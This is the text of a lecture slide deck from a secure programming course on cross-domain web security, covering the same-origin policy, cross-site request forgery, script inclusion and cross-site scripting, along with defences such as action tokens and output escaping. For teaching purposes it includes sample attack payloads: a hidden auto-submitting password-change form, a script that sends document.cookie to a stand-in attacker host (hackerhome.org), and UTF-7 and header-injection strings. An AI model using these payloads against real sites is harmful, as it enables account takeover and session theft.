10 cross-domain security in web applications

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  • Welcome to SEC103 on Secure Programming Techniques. In this course, I assume that you have some background in computer security, but now you want to put that background to use. For example, in the Computer Security Principles and Introduction To Cryptography courses, we cover topics such concerning trust and encryption. In this course, we put these principles into to practice, and I’ll show you have to write secure code that builds security into your applications from the ground up.
  • 10 cross-domain security in web applications

    1. 1. CHAPTER 10 Cross-Domain Security in Web ApplicationsSlides adapted from "Foundations of Security: What Every ProgrammerNeeds To Know" by Neil Daswani, Christoph Kern, and Anita Kesavan(ISBN 1590597842; http://www.foundationsofsecurity.com). Except asotherwise noted, the content of this presentation is licensed under theCreative Commons 3.0 License.
    2. 2. Agenda Domain: where our apps & services are hosted Cross-domain: security threats due to interactions between our applications and pages on other domains Alice is simultaneously (i.e. same browser session), using our (“good”) web-application and a “malicious” web-application Security Issues? Solutions?  Cross-Site Request Forgery, Scripting…
    3. 3. 10.1. Interaction Between WebPages From Different Domains Possible interactions limited by same-origin policy (a.k.a. cross-domain security policy)  Links, embedded frames, data inclusion across domains still possible  Client-side scripts can make requests cross-domain HTTP & cookie authentication two common modes (both are usually cached)  Cached credentials associated with browser instance  Future (possibly malicious) requests don’t need further authentication
    4. 4. 10.1.1. HTML, JavaScript, andthe Same-Origin Policy Modern browsers use DHTML  Support style layout through CSS  Behavior directives through JavaScript  Access Document Object Model (DOM) allowing reading/modifying page and responding to events Origin: protocol, hostname, port, but not path Same-origin policy: scripts can only access properties (cookies, DOM objects) of documents of same origin
    5. 5. 10.1.1. Same-Origin Examples Same Origin  http://www.examplesite.org/here  http://www.examplesite.org/there  same protocol: http, host: examplesite, default port 80 All Different Origins  http://www.examplesite.org/here  https://www.examplesite.org/there  http://www.examplesite.org:8080/thar  http://www.hackerhome.org/yonder  Different protocol: http vs. https, different ports: 80 vs. 8080, different hosts: examplesite vs. hackerhome
    6. 6. 10.1.2. Possible Interactions ofDocuments from Different Origins (1) hackerhome.org can link to us, can’t control <a href="http://www.mywwwservice.com/some_url">Click here!</a> Or include a hidden embedded frame: <iframe style="display: none" src="http://www.mywwwservice.com/ some_url"></iframe>  No visible cue to the user (style attribute hides it)  Happens automatically, without user interaction Same-origin policy prevents JavaScript on hackerhome direct access to our DOM
    7. 7. 10.1.2. Possible Interactions (2) Occasionally, data loaded from one domain is considered to originate from different domain <script src="http://www.mywwwservice.com/some_url></script"> hackerhome can include this script loaded from our site, but it is considered to originate from hackerhome instead Included script can inspect contents of enclosing page which can define evaluation environment for script
    8. 8. 10.1.2. Possible Interactions (3) Another way attacker can initiate requests from user’s browsers to our server: <form name="f" method="POST" action="http://www.mywwwservice.com/action"> <input type="hidden" name="cmd" value="do_something"> ... </form> <script>document.f.submit();</script> Form is submitted to our server without any input from user  Only has a hidden input field, nothing visible to user  Form has a name, so script can access it via DOM and automatically submit it
    9. 9. 10.1.3. HTTP RequestAuthentication HTTP is stateless, so web apps have to associate requests with users themselves HTTP authentication: username/passwd automatically supplied in HTTP header Cookie authentication: credentials requested in form, after POST app issues session token Browser returns session cookie for each request Hidden-form authentication: hidden form fields transfer session token Http & cookie authentication credentials cached
    10. 10. 10.1.4. Lifetime of Cached Cookiesand HTTP Authentication Credentials Temporary cookies cached until browser shut down, persistent ones cached until expiry date HTTP authentication credentials cached in memory, shared by all browser windows of a single browser instance Caching depends only on browser instance lifetime, not on whether original window is open
    11. 11. 10.1.4. Credential CachingScenario (1) Alice has browser window open, (2) creates new window (3) to visit our site, HTTP authentication credentials stored (4) She closes the window, but original one still open (5) later, she’s lured to the hacker’s site which causes a surreptitious request to our site utilizing the cached credentials Credentials persisted even after (4), cookies could have been timed-out; step (5) could happen days or weeks after (4)
    12. 12. 10.2. Attack Patterns Security issues arising from browser interacting with multiple web apps (ours and malicious ones), not direct attacks Cross-Site Request Forgery (XSRF) Cross-Site Script Inclusion (XSSI) Cross-Site Scripting (XSS)
    13. 13. 10.2.1. Cross-Site RequestForgery (XSRF) Malicious site can initiate HTTP requests to our app on Alice’s behalf, w/o her knowledge Cached credentials sent to our server regardless of who made the request Ex: change password feature on our app <form method="POST" action="/update_profile"> ... New Password: <input type="password" name="password"> ... </form>  Hacker site could execute a script to send a fake password-change request to our form  authenticates because cookies are sent
    14. 14. 10.2.1. XSRF Example 1. Alice’s browser loads page from hackerhome.org 2. Evil Script runs causing evilform to be submitted with a password-change request to our “good” form: www.mywwwservice.com/update_profile with a <input type="password" id="password"> field evilform <form method="POST" name="evilform" target="hiddenframe" action="https://www.mywwwservice.com/update_profile"> <input type="hidden" id="password" value="evilhax0r"> </form> <iframe name="hiddenframe" style="display: none"> </iframe> <script>document.evilform.submit();</script> 3. Browser sends authentication cookies to our app. We’re hoodwinked into thinking the request is from Alice. Her password is changed to evilhax0r!
    15. 15. 10.2.1. XSRF Impacts Malicious site can’t read info, but can make write requests to our app! In Alice’s case, attacker gained control of her account with full read/write access! Who should worry about XSRF?  Apps w/ server-side state: user info, updatable profiles such as username/passwd (e.g. Facebook)  Apps that do financial transactions for users (e.g. Amazon, eBay)  Any app that stores user data (e.g. calendars, tasks)
    16. 16. Example: Normal Interaction Alice bank.com /login.html /auth uname=victim&pass=fmd9032 Cookie: sessionid=40a4c04de /viewbalance Cookie: sessionid=40a4c04de “Your balance is $25,000”
    17. 17. Example: Another XSRF AttackAlice bank.com evil.org /login.html /auth uname=victim&pass=fmd9032 Cookie: sessionid=40a4c04de /evil.html <img src="http://bank.com/paybill? addr=123 evil st & amt=$10000"> /paybill?addr=123 evil st, amt=$10000 Cookie: sessionid=40a4c04de “OK. Payment Sent!”
    18. 18. 10.2.2. Cross-Site ScriptInclusion (XSSI) 3rd-party can include <script> sourced from us Static Script Inclusion  Purpose is to enable code sharing, i.e. providing JavaScript library for others to use  Including 3rd-party script dangerous w/o control since it runs in our context with full access to client data Dynamic Script  Insteadof traditional postback of new HTML doc, asynchronous requests (AJAX) used to fetch data  Data exchanged via XML or JSON (arrays, dicts)
    19. 19. 10.2.2. XSSI Malicious website can request dynamic script Browser authentication cookies would be sent Script (JSON fragment) returned by server is accessible to and runs on the malicious site But, script is evaluated in hacker’s context Hacker redefines the callback method to process and harvest the user data as desired
    20. 20. 10.2.2. XSSI Example Request http://www.mywwwservice.com/json/ nav_data?callback_UpdateHeader Client Server JavaScript Code Snippet Reply UpdateHeader({ Typical "date_time": "2007/07/19 6:22", sends back Interaction "logged_in_user": "alice", user data! "account_balance": "256.98" }) Attack Scenario<script>  Malicious site loads script to function UpdateHeader(dict) { if (dict[account_balance] > 100) { initiate the request instead do_phishing_redirect(  Browser sends cookies dict[logged_in_user]); } } // do evil stuff, get user data  Server replies as usual</script><script  Evil Script gets user data!src="http://www.mywwwservice.com/json/nav_data?callback=UpdateHeader"></script>
    21. 21. XSSI Example: AJAX Script Dynamic Script Inclusion: viewbalance.html Good Site: www.bank.com<script>x = new XMLHTTPRequest(); // used to make an AJAX requestx.onreadystatechange = ProcessResults;x.open("POST","http://www.bank.com/json/get_data?callback=RenderData");function ProcessResults() { if (x.readyState == 4 and x.status = 200) eval(x.responseBody);}</script>
    22. 22. Normal AJAX InteractionAlice bank.com login & authenticate Cookie: sessionid=40a4c04de /viewbalance.html Cookie: sessionid=40a4c04de /json/get_data?callback=RenderData RenderData({“acct_no”:”494783”, “balance”:”10000”}) RenderData
    23. 23. Another XSSI AttackAlice bank.com evil.org login & authenticate Cookie: sessionid=40a4c04de /viewbalance.html Cookie: sessionid=40a4c04de /evil.html <script> function RenderData(args) { sendArgsToEvilOrg(args); } </script> <script src="http://www.bank.com/json/get_data? callback=RenderData"> RenderData({“acct_no”:”494783”, “balance”:”10000”}) Overrides RenderData({“acct_no”:”494783”, “balance”:”10000”}) Callback!
    24. 24. 10.2.3. Cross-Site Scripting (XSS)  What if attacker can get a malicious script to be executed in our application’s context?  access user’s cookies, transfer to their server  Ex: our app could have a query parameter in a search URL and print it out on page  http://www.mywwwservice.com/query?question=cookies  Following fragment in returned HTML document with value of parameter question inserted into page...<p>Your query for cookies returned the following results:<p>...  Unfiltered input allows attacker to inject scripts
    25. 25. 10.2.3. XSS Example Alice tricked into loading URL (thru link or hidden frame sourcing it)http://www.mywwwservice.com/query?question=cookies+%3Cscript%3Emalicious-script%3C/script%3E Server’s response contains<p>Your query for cookies <script>malicious-script</script> returned the following results:</p>  Attack string URL-encodes < and > malicious-script, any script attacker desires, is executed in context of our domain
    26. 26. 10.2.3. XSS Exploits:Stealing Cookies Malicious script could cause browser to send attacker all cookies for our app’s domain Attacker gains full access to Alice’s session<script> i = new Image(); i.src = "http://www.hackerhome.org/log_cookie?cookie=" + escape(document.cookie); // URL-encode</script> Script associated with our domain  Can access document.cookie in DOM  Constructs URL on attacker’s server, gets saved in a log file, can extract info from cookie parameter
    27. 27. 10.2.3. XSS Exploits: Scriptingthe Vulnerable Application Complex script with specific goal  Getpersonal user info, transfer funds, etc…  More sophisticated than just stealing cookies Advantages over cookie stealing  Stolensession cookie may expire before it’s used  Never makes a direct request to our server  We can’t log his IP, he’s harder to trace
    28. 28. 10.2.3. XSS Exploits: ModifyingWeb Pages Attacker can script modifications to web pages loaded from our site by manipulating DOM Part of social engineering, phishing attack Intended for viewing by victim user Modified page is loaded from our site  So URL is still the same  No certificate-mismatch even with SSL  Hard to tell that modification is by 3rd party
    29. 29. 10.2.3. Sources of UntrustedData Query parameters, HTML form fields Path of the URI which could be inserted into page via a “Document not found” error Cookies, parts of the HTTP request header (e.g. Referer header) Data inserted into a SQL DB, file system 3rd party data (e.g. RSS feed)
    30. 30. 10.2.3. Stored vs. ReflectedXSS Reflected XSS: script injected into a request and returned immediately in response (like query parameter example) Stored XSS: script delivered to victim some time after being injected  stored somewhere in the meantime  attack is repeatable, more easily spread  Ex: Message board with injected script in a message, all users who view the message will be attacked Underlying issue for both is untrusted data
    31. 31. 10.2.3. MySpace Attacked byStored XSS Worm XSS really damaging when stored XSS can propagate in a worm-like pattern In 2005, XSS worm released on MySpace  Propagated through profiles via friend connections  Payload harmless: added user “Samy” to infected user’s friends list Impact: MySpace down for several hours to clean up profiles (but XSS worm impact could be much worse!)
    32. 32. 10.3. Preventing XSRF HTTP requests originating from user action are indistinguishable from those initiated by a script Need own methods to distinguish valid requests Inspecting Referer Headers Validation via User-Provided Secret Validation via Action Token
    33. 33. 10.3.1. Inspecting RefererHeaders Referer header specifies the URI of document originating the request Assuming requests from our site are good, don’t serve requests not from our site OK, but not practical since it could be forged or blanked (even by legitimate users)  For well-behaved browsers, reasonable to expect Referer headers to be accurate, if present  But if blank, we can’t tell if it’s legitimate or not
    34. 34. 10.3.2. Validation via User-Provided Secret Can require user to enter secret (e.g. login password) along with requests that make server- side state changes or transactions Ex: The change password form (10.2.1) could ask for the user’s current password Balance with user convenience: use only for infrequent, “high-value” transactions  Password or profile changes  Expensive commercial/financial operations
    35. 35. 10.3.3. Validation via ActionToken Add special action tokens as hidden fields to “genuine” forms to distinguish from forgeries Same-origin policy prevents 3rd party from inspecting the form to find the token Need to generate and validate tokens so that  Malicious3rd party can’t guess or forge token  Then can use to distinguish genuine and forged forms  How? We propose a scheme next.
    36. 36. 10.3.3. Generating ActionTokens Concatenate value of timestamp or counter c with the Message Authentication Code (MAC) of c under secret key K:  Token: T = MACK(c)||c  Security dependent on crypto algorithm for MAC  || denotes string concatenation, T can be parsed into individual components later Recall from 1.5., MACs are function of message and secret key (See Ch. 15 for more details)
    37. 37. 10.3.3. Validating Action Tokens Split token T into MAC and counter components Compute expected MAC for given c and check that given MAC matches If MAC algorithm is secure and K is secret, 3rd party can’t create MACK(c), so can’t forge token
    38. 38. 10.3.3. Problem with Scheme Application will accept any token we’ve previously generated for a browser Attacker can use our application as an oracle!  Uses own browser to go to page on our site w/ form  Extracts the token from hidden field in form Need to also verify that incoming request has action token sent to the same browser (not just any token sent to some browser)
    39. 39. 10.3.3. Fixing the Problem Bind value of action token to a cookie  Same-origin policy prevents 3rd party from reading or setting our cookies  Use cookie to distinguish between browser instances New Scheme  Cookie C is unpredictable, unique to browser instance  C can be session authentication cookie  Or random 128 bits specifically for this purpose  L = action URL for form with action token  Compute T = MACK(C||d||L), d is separator (e.g. ;)  d ensures uniqueness of concatenation
    40. 40. 10.3.3. Validation in NewScheme Extract request URL L’ (w/o query part for GET request) and cookie C’. Compute expected value of action token:  Texpected = MACK(C’||d||L’) Extract actual Trequest of action token from appropriate request parameter Verify Texpected = Trequest ,otherwise reject Occasionally legitimate request may fail  Ex: user leaves page w/ form open and initiates new session in different window; action token for original form becomes “stale”
    41. 41. 10.3.4. Security Analysis of theAction Token Scheme Value of token chosen to be unguessable  Output of cryptographically strong MAC algorithm  Attack rate limited by JavaScript loop, far slower than rates usually supposed for offline attacks against crypto algorithms Only way to obtain token (w/o key) is to use our app as an oracle  This also requires the user’s session cookie  Assume attacker doesn’t have this otherwise he could already directly hijack the session anyway  Session cookies are also hard to guess
    42. 42. 10.3.4. Security Analysis:Leakage of Action Tokens For GET requests, action token visible as query parameter in request URL  Would appear in proxy and web server logs  Could be leaked in Referer header if page contains references (images, links) to 3rd party documents HTTP spec recommends POST instead of GET Scheme incorporates target action URL into MAC computation  Ifone URL is leaked, can’t be used against another  Use fresh cookie for each browser instance, so stolen action token not usable for future sessions
    43. 43. 10.3.4. Analysis: Limitations inPresence of XSS Vulnerabilities If application is vulnerable to XSS attack, action token scheme is ineffective. Attacker can inject script to steal cookies and corresponding action tokens. Or even directly “fill out” forms and submit request within context of user’s session But if XSS vulnerability exists, attacker already has a better mode of attack than XSRF
    44. 44. 10.3.4. Analysis: Relying onFormat of Submitted Data Communication with server often follows RPC pattern through XMLHttpRequest object Marshalling data in some form (e.g. JSON/XML) Form-based request ex: <form method="POST" action="http://www.mywwwservice.com/action"> <input name="foo" value="Id like a cookie"> <input name="bar" value="and some tea &amp; coffee"> </form>  results in following POST request (not valid JSON)foo=Id%20like%20a%20cookie&bar=and%20some%20tea%20%26%20coffee Form’s fields encoded as key/value pairs  Metacharacters (&, =, space) are HTML-encoded  All key/value pairs concatenated, separated by & char
    45. 45. 10.3.4. Relying on Format of Submitted Data  <form> tag also has enctype attribute  specifying encoding via MIME media type  Default: application/x-www-form-urlencoded  text/plain (&-separated pairs w/o encoding)  Form Example and corresponding POST:<form method="POST" POST request can action="http://www.mywwwservice.com/action" have arbitrary enctype="text/plain"> content (including <input name={"junk": "ig valid JSON/XML)! value=nore", "new_password": "evilhax0r"}> Can’t just rely on</form> format, use action Valid JSON! tokens to prevent{"junk": "ig=nore", "new_password": "evilhax0r"} XSRF!
    46. 46. 10.4. Preventing XSSI Can’t stop others from loading our resources Similar problem with preventing XSRF  need to distinguish 3rd party references from legitimate ones, so we can deny the former Authentication via Action Token Restriction to POST Requests Preventing Resource Access for Cost
    47. 47. 10.4.1. Authentication via ActionToken Put an additional query parameter w/ token which must be consistent w/ session cookie  Malicious page can’t guess token, request refused Employ same action token scheme introduced against XSRF in 10.3.3. (can use a single token for both purposes) Use POST whenever possible, to prevent leaking of token via GET parameters in URL  Leakage risk less b/c JavaScript document, not HTML
    48. 48. 10.4.2. Restriction to POSTRequests Cross-domain attacks entry point: <script> tags  these always use GET To protect read-only requests, restrict to POST Use action tokens to protect all Ajax requests Ajax mixes read-only and state-changing (write) requests, so POST restriction alone doesn’t help
    49. 49. 10.4.3. Preventing ResourceAccess for Cost Reasons If ISP charges for volume of traffic  Limit resource inclusion by 3rd party for cost reasons  Just decline requests if Referer header is not one of our sites  Serve requests with empty Referer headers Not a complete solution, but sufficient for limiting “bandwith leeching”  Perhaps a few requests slip through, but only a fraction of the cost still remains
    50. 50. 10.5. Preventing XSS Never send untrusted data to browser  Such that data could cause execution of script  Usually can just suppress certain characters We show examples of various contexts in HTML document as template snippets  Variablesubstitution placeholders: %(var)s  evil-script; will denote what attacker injects  Contexts where XSS attack is possible
    51. 51. 10.5.1. General Considerations Input Validation vs. Output Sanitization  XSS is not just a input validation problem  Strings with HTML metachars not a problem until they’re displayed on the webpage  Might be valid elsewhere, e.g. in a database, and thus not validated later when output to HTML  Sanitize: check strings as you insert into HTML doc HTML Escaping  escape some chars with their literals  e.g. & = &amp; < = &lt; > = &rt; “ = &quot;  Library functions exist, but check docs (may not escape all characters)!
    52. 52. 10.5.2. Simple Text Most straightforward, common situation Example Context:<b>Error: Your query %(query)s did not return any results.</b>  Attacker sets query = <script>evil-script;</script>  HTML snippet renders as <b>Error: Your query <script>evil-script;</script> did not return any results.</b> Prevention: HTML-escape untrusted data Rationale: If not escaped  <script> tags evaluated, data may not display as intended
    53. 53. 10.5.3. Tag Attributes (e.g.,Form Field Value Attributes) Contexts where data is inserted into tag attribute Example HTML Fragment: <form ...><input name="query" value="%(query)s"></form>  Attackersets query = cookies"><script>evil-script;</script>  Renders as <form ...> <input name="query" value="cookies"> <script>evil-script;</script>"> </form> Attacker able to “close the quote”, insert script
    54. 54. 10.5.3. More Attribute InjectionAttacks Image Tag: <img src=%(image_url)s> Attacker sets image_url = http://www.examplesite.org/ onerror=evil-script; After Substitution: <img src=http://www.examplesite.org/ onerror=evil-script;>  Lenient browser: first whitespace ends src attribute  onerror attribute sets handler to be desired script  Attacker forces error by supplying URL w/o an image  Can similarly use onload, onmouseover to run scripts  Attack string didn’t use any HTML metacharacters!
    55. 55. 10.5.3. Preventing AttributeInjection Attacks HTML-escape untrusted data as usual  Escape &, , ", <, > Also attribute values must be enclosed in " " Must escape the quote character to prevent “closing the quote” attacks as in example Decide on convention: single vs. double quotes  But escape both anyway to be safe
    56. 56. 10.5.4. URL Attributes (href andsrc) Dynamic URL attributes vulnerable to injection Script/Style Sheet URLs: <script src="%(script_url)s">  Attacker sets script_url = http://hackerhome.org/evil.js javascript: URLS - <img src="%(img_url)s">  By setting img_url = javascript:evil-script; we get <img src="javascript:evil-script;">  And browser executes script when loading image
    57. 57. 10.5.4. Preventing URLAttribute Injection Escape attribute values and enclose in " "  Follow 10.5.3 guidelines for general injection attacks Only serve data from servers you control  For URLs to 3rd party sites, use absolute HTTP URLS (i.e. starts with http:// or https://) Against javascript: injection, whitelist for good URLs (apply positive filter)  Not enough to just blacklist, too many bad URLs  Ex: even escaping colon doesn’t prevent script  Could also be data:text/html,<script>evil- script;</script>
    58. 58. 10.5.5. Style Attributes Dangerous if attacker controls style attributes <div style="background: %(color)s;">I like colors.</div>  Attackerinjects: color = green; background-image:  Browser evaluates: url(javascript:evil-script;) <div style="background: green; background-image: url(javascript:evil-script;);"> I like colors. </div> In IE 6 (but not Firefox 1.5), script is executed! Prevention: whitelist through regular expressions  Ex: ^([a-z]+)|(#[0-9a-f]+)$ specifies safe superset of possible color names or hex designation  Or expose an external param (e.g. color_id) mapped to a CSS color specifier (lookup table)
    59. 59. 10.5.6. Within Style Tags Injections into style= attributes also apply for <style> tags Validate data by whitelisting before inserting into HTML document <style> tag Apply same prevention techniques as in 10.5.5.
    60. 60. 10.5.7. In JavaScript Context  Be careful embedding dynamic content  <script> tags or handlers (onclick, onload, …)  In Ajax-apps, server commonly returns JavaScript:<script> <script> var msg_text = %(msg_text)s; var msg_text = oops; // do something with msg_text evil-script; //;</script> // do something with msg_text </script>  Attacker injects: msg_text = oops; evil-script; //  And evil-script; is executed!
    61. 61. 10.5.7. Preventing JavaScriptInjection Don’t insert user-controlled strings into JavaScript contexts  <script> tags, handler attributes (e.g. onclick)  w/in code sourced in <script> tag or using eval()  Exceptions: data used to form literal (strings, ints, …)  Enclose strings in & backslash escape (n, t, x27)  Format non-strings so that string rep is not malicious  Backslash escaping important to prevent “escape from the quote” attack where notions of “inside” and “outside” string literals is reversed  Numeric literals ok if from Integer.toString(), …
    62. 62. 10.5.7. Another JavaScriptInjection Example From previous example, if attacker setsmsg_text = foo</script><script>evil-script;</script><script>  the following HTML is evaluated: <script>var msg_text = foo</script> <script>evil-script;</script> <script>// do something with msg_text</script> Browser parses document as HTML first  Divides into 3 <script> tokens before interpreting as JavaScript  Thus 1st & 3rd invalid, 2nd executes as evil-script
    63. 63. 10.5.8. JavaScript-ValuedAttributes Handlers inside onload, onclick attributes:  HTML-unescaped before passing to JS interpreter  Ex: <input ... onclick=GotoUrl("%(targetUrl)s");>  Attacker injects: targetUrl = foo&quot;);evil_script(&quot;  Browser <input ... Loads: onclick=GotoUrl("foo&quot;);evil_script(&quot;");>  JavaScript Interpreter gets GotoUrl("foo");evil_script(""); Prevention: Two Rounds of Escaping  JavaScript escape input string, enclose in  HTML escape entire attribute, enclose in " "
    64. 64. 10.5.8. JavaScript-ValuedAttributes Prevention Rationale HTML-escaping step prevents attacker from sneaking in HTML-encoded characters Different style quotes  Single for JavaScript literals  Double for HTML attributes  Avoid one type accidentally “ending” the other JavaScript escape function should escape HTML metachars (&, <, >, ", ) as well  Escaped into hex or unicode  Additional security measure if second step forgotten
    65. 65. 10.5.9. Redirects, Cookies, andHeader Injection Need to filter and validate user input inserted into HTTP response headers Ex: servlet returns HTTP redirect HTTP/1.1 302 Moved Content-Type: text/html; charset=ISO-8859-1 Location: %(redir_url)s <html> <head><title>Moved</title></head> <body>Moved <a href=%(redir_url)s>here</a></body> </html>  AttackerInjects: oops:foornSet-Cookie: SESSION=13af..3b; (URI-encodes domain=mywwwservice.comrnrn <script>evil()</script> newlines)
    66. 66. 10.5.9. Header InjectionExample Resulting HTTP response: HTTP/1.1 302 Moved Content-Type: text/html; charset=ISO-8859-1 Location: oops:foo Set-Cookie: SESSION=13af..3b; domain=mywwwservice.com <script>evil()</script><html><head><title>Moved</title> </head><body> Moved <a href=oops:foo Set-Cookie: SESSION=13af..3b; domain=mywwwservice.com &lt;script&gt;evil()&lt;/script&gt;>here</a></body></html>  Attackersets desired cookies: could overwrite user preferences (DoS) or action tokens (XSRF)  Double CRLF injects script into body which could be executed after Location: header is invalidated
    67. 67. 10.5.9. Preventing HeaderInjection Ensure URLs for Location: headers are well- formed http: or https:  Onlyconsists of characters permitted to be non- escaped according to standard (e.g. RFC 2396)  Checks that it’s not javascript: URL for example Check that cookie names and values within standard (e.g. RFC 2965) Setting other headers: ensure values contain only characters allowed by HTTP/1.1 protocol spec (RFC 2616)  Restricting to specs ensures browser parses correctly
    68. 68. 10.5.10. Filters for “Safe”Subsets of HTML Allow “safe” subset of HTML and render to user Ex: web-based e-mail app  Can allow “harmless” HTML tags (e.g. <h1>)  But don’t allow execution of malicious scripts Use strict HTML parser  Strip tags and attributes that are not whitelisted (i.e. known to not allow arbitrary scripting)  Consult a security expert
    69. 69. 10.5.11. Unspecified Charsets, Browser-SideCharset Guessing, and UTF-7 XSS Attacks Browser needs to know what character encoding to use to render HTML document  Server can specify through charset parameter of Content-Type HTTP header or <meta http-equiv>  Default: iso-8859-1  Or may try to guess the charset Example: attacker injects UTF-7 text +ADw-script+AD4-alert(document.domain);+ADw-/script+AD4-  No characters that are normally filtered  No charset specified, so IE guesses UTF-7  +ADw- , +AD4- encode < , >: script executed!
    70. 70. 10.5.11. Preventing CharsetXSS Attacks Explicitly specify appropriate charset  Ex: Content-Type: text/html; charset=UTF-8  Or through tag:<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">  Meta-tag should appear before untrusted tags  Appropriate: the one that reflects encoding assumptions used by app for filtering/sanitizing input and HTML encoding output strings
    71. 71. 10.5.12. Non-HTML Documents& IE Content-Type Sniffing Browsers may ignore MIME type of document  Specifying Content-Type: text/plain should not interpret HTML tags when rendering  But not true for IE: mime-type detection AKA Content-Type Sniffing: ignores MIME spec  IEscans doc for HTML tags and interprets them  Even reinterprets image documents as HTML!
    72. 72. 10.5.12. Preventing Content-Type Sniffing XSS Attacks Validate that content format matches MIME type  Especially for image files: process through library  Read image file, convert to bitmap, convert back  Don’t trust image file format, Ensure no HTML tags in first 256 bytes of non- HTML file  Could prepend 256 bytes of whitespace  Empirically determined # (also in docs), could be different for other versions Or could HTML-escape entire document
    73. 73. 10.5.13. Mitigating the Impact ofXSS Attacks  HTTP-Only Cookies: incomplete protection  HTTPOnly attribute on cookie in IE prevents it from being exposed to client-side scripts  can prevent traditional session hijacking  But only for IE and doesn’t prevent direct attacks  Should also disable TRACE requests  Binding Session Cookies to IP Address  check if session token is being used from multiple IP addresses (especially geographically distant)  could cause user inconvenience, use only for high-value transactions
    74. 74. Types of XSS Attacks Recap Context Examples Prevention (where to inject evil-script) Technique Simple Text <b>%(query)</b> HTML EscapingTag Attributes <input … value ="% HTML Escaping(Attribute-Injection) (query)"/> (attrib values in " ")URL Attributes <script src ="% Whitelist (script_url)">(href, src attribs.) (src from own server?)Style Attributes <div style="back Whitelist ground: %(color);"> (or <style> tags) (Use RegExps)JavaScript (JS) <input... Escape JS/HTML onclick=> HTTP Header HTTP/1.1 302 Filter Bad URLs Moved... (check format) Location: %
    75. 75. Summary Cross-Domain Attacks  Not direct attacks launched against our app  User views ours and a malicious site in same browser  Attacker tries to run evil scripts, steal our cookies, …  Types: XSRF, XSSI, XSS Prevention:  Against XSRF & XSSI: use cookie-based authentication, prefer POST over GET, action tokens  Against XSS: validate input & sanitize output, use HTML/Javascript escaping appropriately, whitelist

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